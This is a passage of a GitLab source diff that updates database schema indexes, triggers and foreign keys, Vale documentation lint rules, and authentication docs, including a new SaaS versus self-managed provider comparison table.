CREATE INDEX index_dast_site_profiles_on_dast_site_id ON dast_site_profiles USING btree (dast_site_id);
@@ -22283,12 +22480,16 @@ CREATE INDEX index_deployments_on_environment_id_and_iid_and_project_id ON deplo
CREATE INDEX index_deployments_on_environment_id_status_and_finished_at ON deployments USING btree (environment_id, status, finished_at);
+CREATE INDEX index_deployments_on_environment_id_status_and_id ON deployments USING btree (environment_id, status, id);
+
CREATE INDEX index_deployments_on_environment_status_sha ON deployments USING btree (environment_id, status, sha);
CREATE INDEX index_deployments_on_id_and_status_and_created_at ON deployments USING btree (id, status, created_at);
CREATE INDEX index_deployments_on_id_where_cluster_id_present ON deployments USING btree (id) WHERE (cluster_id IS NOT NULL);
+CREATE INDEX index_deployments_on_project_and_environment_and_updated_at ON deployments USING btree (project_id, environment_id, updated_at);
+
CREATE INDEX index_deployments_on_project_and_finished ON deployments USING btree (project_id, finished_at) WHERE (status = 2);
CREATE INDEX index_deployments_on_project_id_and_id ON deployments USING btree (project_id, id DESC);
@@ -22345,6 +22546,8 @@ CREATE INDEX index_draft_notes_on_discussion_id ON draft_notes USING btree (disc
CREATE INDEX index_draft_notes_on_merge_request_id ON draft_notes USING btree (merge_request_id);
+CREATE UNIQUE INDEX index_elastic_index_settings_on_alias_name ON elastic_index_settings USING btree (alias_name);
+
CREATE INDEX index_elastic_reindexing_subtasks_on_elastic_reindexing_task_id ON elastic_reindexing_subtasks USING btree (elastic_reindexing_task_id);
CREATE UNIQUE INDEX index_elastic_reindexing_tasks_on_in_progress ON elastic_reindexing_tasks USING btree (in_progress) WHERE in_progress;
@@ -22401,8 +22604,6 @@ CREATE INDEX index_epics_on_due_date_sourcing_milestone_id ON epics USING btree
CREATE INDEX index_epics_on_end_date ON epics USING btree (end_date);
-CREATE INDEX index_epics_on_group_id ON epics USING btree (group_id);
-
CREATE UNIQUE INDEX index_epics_on_group_id_and_external_key ON epics USING btree (group_id, external_key) WHERE (external_key IS NOT NULL);
CREATE UNIQUE INDEX index_epics_on_group_id_and_iid ON epics USING btree (group_id, iid);
@@ -22643,6 +22844,10 @@ CREATE INDEX index_import_failures_on_project_id_not_null ON import_failures USI
CREATE INDEX index_imported_projects_on_import_type_creator_id_created_at ON projects USING btree (import_type, creator_id, created_at) WHERE (import_type IS NOT NULL);
+CREATE INDEX index_in_product_marketing_emails_on_user_id ON in_product_marketing_emails USING btree (user_id);
+
+CREATE UNIQUE INDEX index_in_product_marketing_emails_on_user_track_series ON in_product_marketing_emails USING btree (user_id, track, series);
+
CREATE INDEX index_inc_mgmnt_oncall_participants_on_oncall_user_id ON incident_management_oncall_participants USING btree (user_id);
CREATE UNIQUE INDEX index_inc_mgmnt_oncall_participants_on_user_id_and_rotation_id ON incident_management_oncall_participants USING btree (user_id, oncall_rotation_id);
@@ -22689,8 +22894,6 @@ CREATE UNIQUE INDEX index_issue_links_on_source_id_and_target_id ON issue_links
CREATE INDEX index_issue_links_on_target_id ON issue_links USING btree (target_id);
-CREATE INDEX index_issue_metrics ON issue_metrics USING btree (issue_id);
-
CREATE INDEX index_issue_metrics_on_issue_id_and_timestamps ON issue_metrics USING btree (issue_id, first_mentioned_in_commit_at, first_associated_with_milestone_at, first_added_to_board_at);
CREATE INDEX index_issue_on_project_id_state_id_and_blocking_issues_count ON issues USING btree (project_id, state_id, blocking_issues_count);
@@ -22751,6 +22954,8 @@ CREATE INDEX index_jira_imports_on_user_id ON jira_imports USING btree (user_id)
CREATE INDEX index_jira_tracker_data_on_service_id ON jira_tracker_data USING btree (service_id);
+CREATE INDEX index_keys_on_expires_at_and_expiry_notification_undelivered ON keys USING btree (date(timezone('UTC'::text, expires_at)), expiry_notification_delivered_at) WHERE (expiry_notification_delivered_at IS NULL);
+
CREATE UNIQUE INDEX index_keys_on_fingerprint ON keys USING btree (fingerprint);
CREATE INDEX index_keys_on_fingerprint_sha256 ON keys USING btree (fingerprint_sha256);
@@ -22829,10 +23034,12 @@ CREATE INDEX index_members_on_requested_at ON members USING btree (requested_at)
CREATE INDEX index_members_on_source_id_and_source_type ON members USING btree (source_id, source_type);
-CREATE INDEX index_members_on_user_id ON members USING btree (user_id);
+CREATE INDEX index_members_on_user_id_and_access_level_requested_at_is_null ON members USING btree (user_id, access_level) WHERE (requested_at IS NULL);
CREATE INDEX index_members_on_user_id_created_at ON members USING btree (user_id, created_at) WHERE ((ldap = true) AND ((type)::text = 'GroupMember'::text) AND ((source_type)::text = 'Namespace'::text));
+CREATE INDEX index_members_on_user_id_source_id_source_type ON members USING btree (user_id, source_id, source_type);
+
CREATE INDEX index_merge_request_assignees_on_merge_request_id ON merge_request_assignees USING btree (merge_request_id);
CREATE UNIQUE INDEX index_merge_request_assignees_on_merge_request_id_and_user_id ON merge_request_assignees USING btree (merge_request_id, user_id);
@@ -22913,6 +23120,8 @@ CREATE INDEX index_merge_requests_on_target_project_id_and_iid_and_state_id ON m
CREATE INDEX index_merge_requests_on_target_project_id_and_iid_jira_title ON merge_requests USING btree (target_project_id, iid) WHERE ((title)::text ~ '[A-Z][A-Z_0-9]+-\d+'::text);
+CREATE INDEX index_merge_requests_on_target_project_id_and_source_branch ON merge_requests USING btree (target_project_id, source_branch);
+
CREATE INDEX index_merge_requests_on_target_project_id_and_squash_commit_sha ON merge_requests USING btree (target_project_id, squash_commit_sha);
CREATE INDEX index_merge_requests_on_target_project_id_and_target_branch ON merge_requests USING btree (target_project_id, target_branch) WHERE ((state_id = 1) AND (merge_when_pipeline_succeeds = true));
@@ -22955,7 +23164,7 @@ CREATE INDEX index_milestones_on_title ON milestones USING btree (title);
CREATE INDEX index_milestones_on_title_trigram ON milestones USING gin (title gin_trgm_ops);
-CREATE INDEX index_mirror_data_on_next_execution_and_retry_count ON project_mirror_data USING btree (next_execution_timestamp, retry_count);
+CREATE INDEX index_mirror_data_non_scheduled_or_started ON project_mirror_data USING btree (next_execution_timestamp, retry_count) WHERE ((status)::text <> ALL ('{scheduled,started}'::text[]));
CREATE UNIQUE INDEX index_mr_blocks_on_blocking_and_blocked_mr_ids ON merge_request_blocks USING btree (blocking_merge_request_id, blocked_merge_request_id);
@@ -22967,12 +23176,16 @@ CREATE INDEX index_mr_metrics_on_target_project_id_merged_at_nulls_last ON merge
CREATE INDEX index_mr_metrics_on_target_project_id_merged_at_time_to_merge ON merge_request_metrics USING btree (target_project_id, merged_at, created_at) WHERE (merged_at > created_at);
+CREATE INDEX index_namespace_admin_notes_on_namespace_id ON namespace_admin_notes USING btree (namespace_id);
+
CREATE UNIQUE INDEX index_namespace_aggregation_schedules_on_namespace_id ON namespace_aggregation_schedules USING btree (namespace_id);
CREATE UNIQUE INDEX index_namespace_root_storage_statistics_on_namespace_id ON namespace_root_storage_statistics USING btree (namespace_id);
CREATE UNIQUE INDEX index_namespace_statistics_on_namespace_id ON namespace_statistics USING btree (namespace_id);
+CREATE INDEX index_namespaces_id_parent_id_is_null ON namespaces USING btree (id) WHERE (parent_id IS NULL);
+
CREATE INDEX index_namespaces_on_created_at ON namespaces USING btree (created_at);
CREATE INDEX index_namespaces_on_custom_project_templates_group_id_and_type ON namespaces USING btree (custom_project_templates_group_id, type) WHERE (custom_project_templates_group_id IS NOT NULL);
@@ -23005,12 +23218,16 @@ CREATE UNIQUE INDEX index_namespaces_on_runners_token_encrypted ON namespaces US
CREATE INDEX index_namespaces_on_shared_and_extra_runners_minutes_limit ON namespaces USING btree (shared_runners_minutes_limit, extra_shared_runners_minutes_limit);
+CREATE INDEX index_namespaces_on_traversal_ids ON namespaces USING gin (traversal_ids);
+
CREATE INDEX index_namespaces_on_type_and_id_partial ON namespaces USING btree (type, id) WHERE (type IS NOT NULL);
CREATE INDEX index_non_requested_project_members_on_source_id_and_type ON members USING btree (source_id, source_type) WHERE ((requested_at IS NULL) AND ((type)::text = 'ProjectMember'::text));
CREATE UNIQUE INDEX index_note_diff_files_on_diff_note_id ON note_diff_files USING btree (diff_note_id);
+CREATE INDEX index_notes_for_cherry_picked_merge_requests ON notes USING btree (project_id, commit_id) WHERE ((noteable_type)::text = 'MergeRequest'::text);
+
CREATE INDEX index_notes_on_author_id_and_created_at_and_id ON notes USING btree (author_id, created_at, id);
CREATE INDEX index_notes_on_commit_id ON notes USING btree (commit_id);
@@ -23031,9 +23248,7 @@ CREATE INDEX index_notes_on_project_id_and_noteable_type ON notes USING btree (p
CREATE INDEX index_notes_on_review_id ON notes USING btree (review_id);
-CREATE INDEX index_notification_settings_on_source_id_and_source_type ON notification_settings USING btree (source_id, source_type);
-
-CREATE INDEX index_notification_settings_on_user_id ON notification_settings USING btree (user_id);
+CREATE INDEX index_notification_settings_on_source_and_level_and_user ON notification_settings USING btree (source_id, source_type, level, user_id);
CREATE UNIQUE INDEX index_notifications_on_user_id_and_source_id_and_source_type ON notification_settings USING btree (user_id, source_id, source_type);
@@ -23163,10 +23378,14 @@ CREATE INDEX index_packages_events_on_package_id ON packages_events USING btree
CREATE INDEX index_packages_maven_metadata_on_package_id_and_path ON packages_maven_metadata USING btree (package_id, path);
+CREATE INDEX index_packages_maven_metadata_on_path ON packages_maven_metadata USING btree (path);
+
CREATE INDEX index_packages_nuget_dl_metadata_on_dependency_link_id ON packages_nuget_dependency_link_metadata USING btree (dependency_link_id);
CREATE UNIQUE INDEX index_packages_on_project_id_name_version_unique_when_generic ON packages_packages USING btree (project_id, name, version) WHERE (package_type = 7);
+CREATE UNIQUE INDEX index_packages_on_project_id_name_version_unique_when_golang ON packages_packages USING btree (project_id, name, version) WHERE (package_type = 8);
+
CREATE INDEX index_packages_package_file_build_infos_on_package_file_id ON packages_package_file_build_infos USING btree (package_file_id);
CREATE INDEX index_packages_package_file_build_infos_on_pipeline_id ON packages_package_file_build_infos USING btree (pipeline_id);
@@ -23199,6 +23418,8 @@ CREATE INDEX index_packages_tags_on_package_id_and_updated_at ON packages_tags U
CREATE INDEX index_pages_deployments_on_ci_build_id ON pages_deployments USING btree (ci_build_id);
+CREATE INDEX index_pages_deployments_on_file_store_and_id ON pages_deployments USING btree (file_store, id);
+
CREATE INDEX index_pages_deployments_on_project_id ON pages_deployments USING btree (project_id);
CREATE INDEX index_pages_domain_acme_orders_on_challenge_token ON pages_domain_acme_orders USING btree (challenge_token);
@@ -23663,6 +23884,8 @@ CREATE INDEX index_service_desk_enabled_projects_on_id_creator_id_created_at ON
CREATE INDEX index_services_on_inherit_from_id ON services USING btree (inherit_from_id);
+CREATE INDEX index_services_on_project_and_type_where_inherit_null ON services USING btree (project_id, type) WHERE (inherit_from_id IS NULL);
+
CREATE UNIQUE INDEX index_services_on_project_id_and_type_unique ON services USING btree (project_id, type);
CREATE INDEX index_services_on_template ON services USING btree (template);
@@ -23679,6 +23902,8 @@ CREATE UNIQUE INDEX index_services_on_unique_group_id_and_type ON services USING
CREATE UNIQUE INDEX index_shards_on_name ON shards USING btree (name);
+CREATE UNIQUE INDEX index_site_profile_secret_variables_on_site_profile_id_and_key ON dast_site_profile_secret_variables USING btree (dast_site_profile_id, key);
+
CREATE INDEX index_slack_integrations_on_service_id ON slack_integrations USING btree (service_id);
CREATE UNIQUE INDEX index_slack_integrations_on_team_id_and_alias ON slack_integrations USING btree (team_id, alias);
@@ -23689,10 +23914,18 @@ CREATE INDEX index_smartcard_identities_on_user_id ON smartcard_identities USING
CREATE INDEX index_snippet_on_id_and_project_id ON snippets USING btree (id, project_id);
+CREATE INDEX index_snippet_repositories_failed_verification ON snippet_repositories USING btree (verification_retry_at NULLS FIRST) WHERE (verification_state = 3);
+
+CREATE INDEX index_snippet_repositories_needs_verification ON snippet_repositories USING btree (verification_state) WHERE ((verification_state = 0) OR (verification_state = 3));
+
CREATE UNIQUE INDEX index_snippet_repositories_on_disk_path ON snippet_repositories USING btree (disk_path);
CREATE INDEX index_snippet_repositories_on_shard_id ON snippet_repositories USING btree (shard_id);
+CREATE INDEX index_snippet_repositories_pending_verification ON snippet_repositories USING btree (verified_at NULLS FIRST) WHERE (verification_state = 0);
+
+CREATE INDEX index_snippet_repositories_verification_state ON snippet_repositories USING btree (verification_state);
+
CREATE INDEX index_snippet_repository_storage_moves_on_snippet_id ON snippet_repository_storage_moves USING btree (snippet_id);
CREATE UNIQUE INDEX index_snippet_user_mentions_on_note_id ON snippet_user_mentions USING btree (note_id) WHERE (note_id IS NOT NULL);
@@ -23731,6 +23964,8 @@ CREATE UNIQUE INDEX index_sop_configs_on_project_id ON security_orchestration_po
CREATE INDEX index_sop_configurations_project_id_policy_project_id ON security_orchestration_policy_configurations USING btree (security_policy_management_project_id, project_id);
+CREATE INDEX index_spam_logs_on_user_id ON spam_logs USING btree (user_id);
+
CREATE INDEX index_sprints_iterations_cadence_id ON sprints USING btree (iterations_cadence_id);
CREATE INDEX index_sprints_on_description_trigram ON sprints USING gin (description gin_trgm_ops);
@@ -23835,6 +24070,12 @@ CREATE INDEX index_u2f_registrations_on_key_handle ON u2f_registrations USING bt
CREATE INDEX index_u2f_registrations_on_user_id ON u2f_registrations USING btree (user_id);
+CREATE UNIQUE INDEX index_unique_issue_metrics_issue_id ON issue_metrics USING btree (issue_id);
+
+CREATE INDEX index_unit_test_failures_failed_at ON ci_unit_test_failures USING btree (failed_at DESC);
+
+CREATE UNIQUE INDEX index_unit_test_failures_unique_columns ON ci_unit_test_failures USING btree (unit_test_id, failed_at DESC, build_id);
+
CREATE INDEX index_uploads_on_checksum ON uploads USING btree (checksum);
CREATE INDEX index_uploads_on_model_id_and_model_type ON uploads USING btree (model_id, model_type);
@@ -23987,7 +24228,7 @@ CREATE INDEX index_vulnerability_feedback_on_merge_request_id ON vulnerability_f
CREATE INDEX index_vulnerability_feedback_on_pipeline_id ON vulnerability_feedback USING btree (pipeline_id);
-CREATE INDEX index_vulnerability_finding_fingerprints_on_finding_id ON vulnerability_finding_fingerprints USING btree (finding_id);
+CREATE INDEX index_vulnerability_finding_signatures_on_finding_id ON vulnerability_finding_signatures USING btree (finding_id);
CREATE INDEX index_vulnerability_findings_remediations_on_remediation_id ON vulnerability_findings_remediations USING btree (vulnerability_remediation_id);
@@ -24039,6 +24280,10 @@ CREATE INDEX index_web_hook_logs_on_created_at_and_web_hook_id ON web_hook_logs
CREATE INDEX index_web_hook_logs_on_web_hook_id ON web_hook_logs USING btree (web_hook_id);
+CREATE INDEX index_web_hook_logs_part_on_created_at_and_web_hook_id ON ONLY web_hook_logs_part_0c5294f417 USING btree (created_at, web_hook_id);
+
+CREATE INDEX index_web_hook_logs_part_on_web_hook_id ON ONLY web_hook_logs_part_0c5294f417 USING btree (web_hook_id);
+
CREATE INDEX index_web_hooks_on_group_id ON web_hooks USING btree (group_id) WHERE ((type)::text = 'GroupHook'::text);
CREATE INDEX index_web_hooks_on_project_id ON web_hooks USING btree (project_id);
@@ -24121,8 +24366,6 @@ CREATE UNIQUE INDEX snippet_user_mentions_on_snippet_id_index ON snippet_user_me
CREATE UNIQUE INDEX taggings_idx ON taggings USING btree (tag_id, taggable_id, taggable_type, context, tagger_id, tagger_type);
-CREATE INDEX temporary_index_vulnerabilities_on_id ON vulnerabilities USING btree (id) WHERE ((state = 2) AND ((dismissed_at IS NULL) OR (dismissed_by_id IS NULL)));
-
CREATE UNIQUE INDEX term_agreements_unique_index ON term_agreements USING btree (user_id, term_id);
CREATE INDEX tmp_idx_deduplicate_vulnerability_occurrences ON vulnerability_occurrences USING btree (project_id, report_type, location_fingerprint, primary_identifier_id, id);
@@ -24415,7 +24658,9 @@ ALTER INDEX product_analytics_events_experimental_pkey ATTACH PARTITION gitlab_p
CREATE TRIGGER table_sync_trigger_b99eb6998c AFTER INSERT OR DELETE OR UPDATE ON web_hook_logs FOR EACH ROW EXECUTE PROCEDURE table_sync_function_29bc99d6db();
-CREATE TRIGGER table_sync_trigger_ee39a25f9d AFTER INSERT OR DELETE OR UPDATE ON audit_events FOR EACH ROW EXECUTE PROCEDURE table_sync_function_2be879775d();
+CREATE TRIGGER trigger_07c94931164e BEFORE INSERT OR UPDATE ON push_event_payloads FOR EACH ROW EXECUTE PROCEDURE trigger_07c94931164e();
+
+CREATE TRIGGER trigger_69523443cc10 BEFORE INSERT OR UPDATE ON events FOR EACH ROW EXECUTE PROCEDURE trigger_69523443cc10();
CREATE TRIGGER trigger_has_external_issue_tracker_on_delete AFTER DELETE ON services FOR EACH ROW WHEN ((((old.category)::text = 'issue_tracker'::text) AND (old.active = true) AND (old.project_id IS NOT NULL))) EXECUTE PROCEDURE set_has_external_issue_tracker();
@@ -24468,6 +24713,9 @@ ALTER TABLE ONLY notification_settings
ALTER TABLE ONLY lists
ADD CONSTRAINT fk_0d3f677137 FOREIGN KEY (board_id) REFERENCES boards(id) ON DELETE CASCADE;
+ALTER TABLE ONLY ci_unit_test_failures
+ ADD CONSTRAINT fk_0f09856e1f FOREIGN KEY (build_id) REFERENCES ci_builds(id) ON DELETE CASCADE;
+
ALTER TABLE ONLY project_pages_metadata
ADD CONSTRAINT fk_0fd5b22688 FOREIGN KEY (pages_deployment_id) REFERENCES pages_deployments(id) ON DELETE SET NULL;
@@ -24573,6 +24821,9 @@ ALTER TABLE ONLY ci_group_variables
ALTER TABLE ONLY namespaces
ADD CONSTRAINT fk_3448c97865 FOREIGN KEY (push_rule_id) REFERENCES push_rules(id) ON DELETE SET NULL;
+ALTER TABLE ONLY in_product_marketing_emails
+ ADD CONSTRAINT fk_35c9101b63 FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE CASCADE;
+
ALTER TABLE ONLY epics
ADD CONSTRAINT fk_3654b61b03 FOREIGN KEY (author_id) REFERENCES users(id) ON DELETE CASCADE;
@@ -24714,6 +24965,9 @@ ALTER TABLE ONLY geo_event_log
ALTER TABLE ONLY lists
ADD CONSTRAINT fk_7a5553d60f FOREIGN KEY (label_id) REFERENCES labels(id) ON DELETE CASCADE;
+ALTER TABLE ONLY ci_unit_tests
+ ADD CONSTRAINT fk_7a8fabf0a8 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
+
ALTER TABLE ONLY protected_branches
ADD CONSTRAINT fk_7a9c6d93e7 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
@@ -24855,6 +25109,9 @@ ALTER TABLE ONLY bulk_import_entities
ALTER TABLE ONLY users
ADD CONSTRAINT fk_a4b8fefe3e FOREIGN KEY (managing_group_id) REFERENCES namespaces(id) ON DELETE SET NULL;
+ALTER TABLE ONLY dast_profiles_pipelines
+ ADD CONSTRAINT fk_a60cad829d FOREIGN KEY (ci_pipeline_id) REFERENCES ci_pipelines(id) ON DELETE CASCADE;
+
ALTER TABLE ONLY merge_requests
ADD CONSTRAINT fk_a6963e8447 FOREIGN KEY (target_project_id) REFERENCES projects(id) ON DELETE CASCADE;
@@ -24960,6 +25217,9 @@ ALTER TABLE ONLY external_approval_rules_protected_branches
ALTER TABLE ONLY external_approval_rules_protected_branches
ADD CONSTRAINT fk_ca2ffb55e6 FOREIGN KEY (protected_branch_id) REFERENCES protected_branches(id) ON DELETE CASCADE;
+ALTER TABLE ONLY dast_profiles_pipelines
+ ADD CONSTRAINT fk_cc206a8c13 FOREIGN KEY (dast_profile_id) REFERENCES dast_profiles(id) ON DELETE CASCADE;
+
ALTER TABLE ONLY experiment_subjects
ADD CONSTRAINT fk_ccc28f8ceb FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
@@ -24985,7 +25245,7 @@ ALTER TABLE ONLY ci_builds
ADD CONSTRAINT fk_d3130c9a7f FOREIGN KEY (commit_id) REFERENCES ci_pipelines(id) ON DELETE CASCADE;
ALTER TABLE ONLY web_hooks
- ADD CONSTRAINT fk_d47999a98a FOREIGN KEY (service_id) REFERENCES services(id) ON DELETE CASCADE NOT VALID;
+ ADD CONSTRAINT fk_d47999a98a FOREIGN KEY (service_id) REFERENCES services(id) ON DELETE CASCADE;
ALTER TABLE ONLY ci_sources_pipelines
ADD CONSTRAINT fk_d4e29af7d7 FOREIGN KEY (source_pipeline_id) REFERENCES ci_pipelines(id) ON DELETE CASCADE;
@@ -25374,6 +25634,9 @@ ALTER TABLE ONLY group_custom_attributes
ALTER TABLE ONLY incident_management_oncall_rotations
ADD CONSTRAINT fk_rails_256e0bc604 FOREIGN KEY (oncall_schedule_id) REFERENCES incident_management_oncall_schedules(id) ON DELETE CASCADE;
+ALTER TABLE ONLY ci_unit_test_failures
+ ADD CONSTRAINT fk_rails_259da3e79c FOREIGN KEY (unit_test_id) REFERENCES ci_unit_tests(id) ON DELETE CASCADE;
+
ALTER TABLE ONLY analytics_devops_adoption_snapshots
ADD CONSTRAINT fk_rails_25da9a92c0 FOREIGN KEY (segment_id) REFERENCES analytics_devops_adoption_segments(id) ON DELETE CASCADE;
@@ -25560,6 +25823,9 @@ ALTER TABLE ONLY operations_strategies_user_lists
ALTER TABLE ONLY lfs_file_locks
ADD CONSTRAINT fk_rails_43df7a0412 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY dast_site_profile_secret_variables
+ ADD CONSTRAINT fk_rails_43e2897950 FOREIGN KEY (dast_site_profile_id) REFERENCES dast_site_profiles(id) ON DELETE CASCADE;
+
ALTER TABLE ONLY merge_request_assignees
ADD CONSTRAINT fk_rails_443443ce6f FOREIGN KEY (merge_request_id) REFERENCES merge_requests(id) ON DELETE CASCADE;
@@ -25782,6 +26048,9 @@ ALTER TABLE ONLY approval_merge_request_rules_approved_approvers
ALTER TABLE ONLY operations_feature_flags_clients
ADD CONSTRAINT fk_rails_6650ed902c FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY namespace_admin_notes
+ ADD CONSTRAINT fk_rails_666166ea7b FOREIGN KEY (namespace_id) REFERENCES namespaces(id) ON DELETE CASCADE;
+
ALTER TABLE ONLY web_hook_logs
ADD CONSTRAINT fk_rails_666826e111 FOREIGN KEY (web_hook_id) REFERENCES web_hooks(id) ON DELETE CASCADE;
@@ -26067,6 +26336,9 @@ ALTER TABLE ONLY analytics_language_trend_repository_languages
ALTER TABLE ONLY badges
ADD CONSTRAINT fk_rails_9df4a56538 FOREIGN KEY (group_id) REFERENCES namespaces(id) ON DELETE CASCADE;
+ALTER TABLE ONLY vulnerability_finding_signatures
+ ADD CONSTRAINT fk_rails_9e0baf9dcd FOREIGN KEY (finding_id) REFERENCES vulnerability_occurrences(id) ON DELETE CASCADE;
+
ALTER TABLE ONLY clusters_applications_cert_managers
ADD CONSTRAINT fk_rails_9e4f2cb4b2 FOREIGN KEY (cluster_id) REFERENCES clusters(id) ON DELETE CASCADE;
@@ -26214,6 +26486,9 @@ ALTER TABLE ONLY approval_project_rules_users
ALTER TABLE ONLY lists
ADD CONSTRAINT fk_rails_baed5f39b7 FOREIGN KEY (milestone_id) REFERENCES milestones(id) ON DELETE CASCADE;
+ALTER TABLE web_hook_logs_part_0c5294f417
+ ADD CONSTRAINT fk_rails_bb3355782d FOREIGN KEY (web_hook_id) REFERENCES web_hooks(id) ON DELETE CASCADE;
+
ALTER TABLE ONLY security_findings
ADD CONSTRAINT fk_rails_bb63863cf1 FOREIGN KEY (scan_id) REFERENCES security_scans(id) ON DELETE CASCADE;
@@ -26352,6 +26627,9 @@ ALTER TABLE ONLY requirements_management_test_reports
ALTER TABLE ONLY pool_repositories
ADD CONSTRAINT fk_rails_d2711daad4 FOREIGN KEY (source_project_id) REFERENCES projects(id) ON DELETE SET NULL;
+ALTER TABLE ONLY web_hooks
+ ADD CONSTRAINT fk_rails_d35697648e FOREIGN KEY (group_id) REFERENCES namespaces(id) ON DELETE CASCADE NOT VALID;
+
ALTER TABLE ONLY group_group_links
ADD CONSTRAINT fk_rails_d3a0488427 FOREIGN KEY (shared_group_id) REFERENCES namespaces(id) ON DELETE CASCADE;
@@ -26415,6 +26693,12 @@ ALTER TABLE ONLY cluster_platforms_kubernetes
ALTER TABLE ONLY ci_builds_metadata
ADD CONSTRAINT fk_rails_e20479742e FOREIGN KEY (build_id) REFERENCES ci_builds(id) ON DELETE CASCADE;
+ALTER TABLE ONLY vulnerability_finding_evidences
+ ADD CONSTRAINT fk_rails_e3205a0c65 FOREIGN KEY (vulnerability_occurrence_id) REFERENCES vulnerability_occurrences(id) ON DELETE CASCADE;
+
+ALTER TABLE ONLY clusters_integration_prometheus
+ ADD CONSTRAINT fk_rails_e44472034c FOREIGN KEY (cluster_id) REFERENCES clusters(id) ON DELETE CASCADE;
+
ALTER TABLE ONLY vulnerability_occurrence_identifiers
ADD CONSTRAINT fk_rails_e4ef6d027c FOREIGN KEY (occurrence_id) REFERENCES vulnerability_occurrences(id) ON DELETE CASCADE;
@@ -26556,9 +26840,6 @@ ALTER TABLE ONLY merge_trains
ALTER TABLE ONLY ci_runner_namespaces
ADD CONSTRAINT fk_rails_f9d9ed3308 FOREIGN KEY (namespace_id) REFERENCES namespaces(id) ON DELETE CASCADE;
-ALTER TABLE ONLY vulnerability_finding_fingerprints
- ADD CONSTRAINT fk_rails_fa411253b2 FOREIGN KEY (finding_id) REFERENCES vulnerability_occurrences(id) ON DELETE CASCADE;
-
ALTER TABLE ONLY requirements_management_test_reports
ADD CONSTRAINT fk_rails_fb3308ad55 FOREIGN KEY (requirement_id) REFERENCES requirements(id) ON DELETE CASCADE;
diff --git a/doc/.vale/gitlab/NonStandardQuotes.yml b/doc/.vale/gitlab/NonStandardQuotes.yml
new file mode 100644
index 00000000000..f31d615eb19
--- /dev/null
+++ b/doc/.vale/gitlab/NonStandardQuotes.yml
@@ -0,0 +1,14 @@
+---
+# Warning: gitlab.NonStandardQuotes
+#
+# Use only standard single and double quotes, not left or right quotes.
+#
+# For a list of all options, see https://errata-ai.gitbook.io/vale/getting-started/styles
+extends: existence
+message: 'Use standard single quotes or double quotes only. Do not use left or right quotes.'
+level: warning
+ignorecase: true
+link: https://docs.gitlab.com/ee/development/documentation/styleguide/index.html
+scope: raw
+raw:
+ - '[‘’“â€]'
diff --git a/doc/.vale/gitlab/Possessive.yml b/doc/.vale/gitlab/Possessive.yml
index eadf7359698..158c689cac1 100644
--- a/doc/.vale/gitlab/Possessive.yml
+++ b/doc/.vale/gitlab/Possessive.yml
@@ -5,11 +5,9 @@
#
# For a list of all options, see https://errata-ai.gitbook.io/vale/getting-started/styles
extends: existence
-message: 'Rewrite "%s" to not use "’s".'
+message: "Rewrite '%s' to not use 's."
level: error
ignorecase: true
link: https://docs.gitlab.com/ee/development/documentation/styleguide/index.html#trademark
tokens:
- - GitLab's # Straight apostrophe.
- - GitLab’s # Curly closing apostrophe.
- - GitLab‘s # Curly opening apostrophe.
+ - GitLab's
diff --git a/doc/.vale/gitlab/ReferenceLinks.yml b/doc/.vale/gitlab/ReferenceLinks.yml
index 160ed2e8e14..ca9948844f8 100644
--- a/doc/.vale/gitlab/ReferenceLinks.yml
+++ b/doc/.vale/gitlab/ReferenceLinks.yml
@@ -10,4 +10,4 @@ link: https://docs.gitlab.com/ee/development/documentation/styleguide/index.html
level: error
scope: raw
raw:
- - '\n\[.*\]: .*'
+ - '\n\[[^\]]*\]: .*'
diff --git a/doc/.vale/gitlab/spelling-exceptions.txt b/doc/.vale/gitlab/spelling-exceptions.txt
index 88d1d2555f1..4c4bbe96a96 100644
--- a/doc/.vale/gitlab/spelling-exceptions.txt
+++ b/doc/.vale/gitlab/spelling-exceptions.txt
@@ -245,7 +245,6 @@ Helm
Heroku
Herokuish
Hexo
-HipChat
hostname
hostnames
hotfix
@@ -257,6 +256,7 @@ https
idempotence
idmapper
Iglu
+Immer
inclusivity
Ingress
initializer
diff --git a/doc/administration/auth/README.md b/doc/administration/auth/README.md
index 69220113940..ef82c556468 100644
--- a/doc/administration/auth/README.md
+++ b/doc/administration/auth/README.md
@@ -23,13 +23,11 @@ providers:
- [GitHub](../../integration/github.md)
- [GitLab.com](../../integration/gitlab.md)
- [Google OAuth](../../integration/google.md)
-- [Google Workspace SSO](../../integration/google_workspace_saml.md)
- [JWT](jwt.md)
- [Kerberos](../../integration/kerberos.md)
- [LDAP](ldap/index.md): Includes Active Directory, Apple Open Directory, Open LDAP,
and 389 Server.
- [Google Secure LDAP](ldap/google_secure_ldap.md)
-- [Okta](okta.md)
- [Salesforce](../../integration/salesforce.md)
- [SAML](../../integration/saml.md)
- [SAML for GitLab.com groups](../../user/group/saml_sso/index.md) **(PREMIUM SAAS)**
@@ -39,3 +37,16 @@ providers:
NOTE:
UltraAuth has removed their software which supports OmniAuth integration. We have therefore removed all references to UltraAuth integration.
+
+## SaaS vs Self-Managed Comparison
+
+The external authentication and authorization providers may support the following capabilities.
+For more information, see the links shown on this page for each external provider.
+
+| Capability | SaaS | Self-Managed |
+|-------------------------------------------------|-----------------------------------------|------------------------------------|
+| **User Provisioning** | SCIM<br>JIT Provisioning | LDAP Sync |
+| **User Detail Updating** (not group management) | Not Available | LDAP Sync |
+| **Authentication** | SAML at top-level group (1 provider) | LDAP (multiple providers)<br>Generic OAuth2<br>SAML (only 1 permitted per unique provider)<br>Kerberos<br>JWT<br>Smartcard<br>OmniAuth Providers (only 1 permitted per unique provider) |
+| **Provider-to-GitLab Role Sync** | SAML Group Sync | LDAP Group Sync |
+| **User Removal** | SCIM (remove user from top-level group) | LDAP (Blocking User from Instance) |
diff --git a/doc/administration/auth/ldap/ldap-troubleshooting.md b/doc/administration/auth/ldap/ldap-troubleshooting.md
index f8360e331b6..9d9c01b870f 100644
--- a/doc/administration/auth/ldap/ldap-troubleshooting.md
+++ b/doc/administration/auth/ldap/ldap-troubleshooting.md
@@ -668,7 +668,7 @@ adfind -h ad.example.org:636 -ssl -u "CN=GitLabSRV,CN=Users,DC=GitLab,DC=org" -u
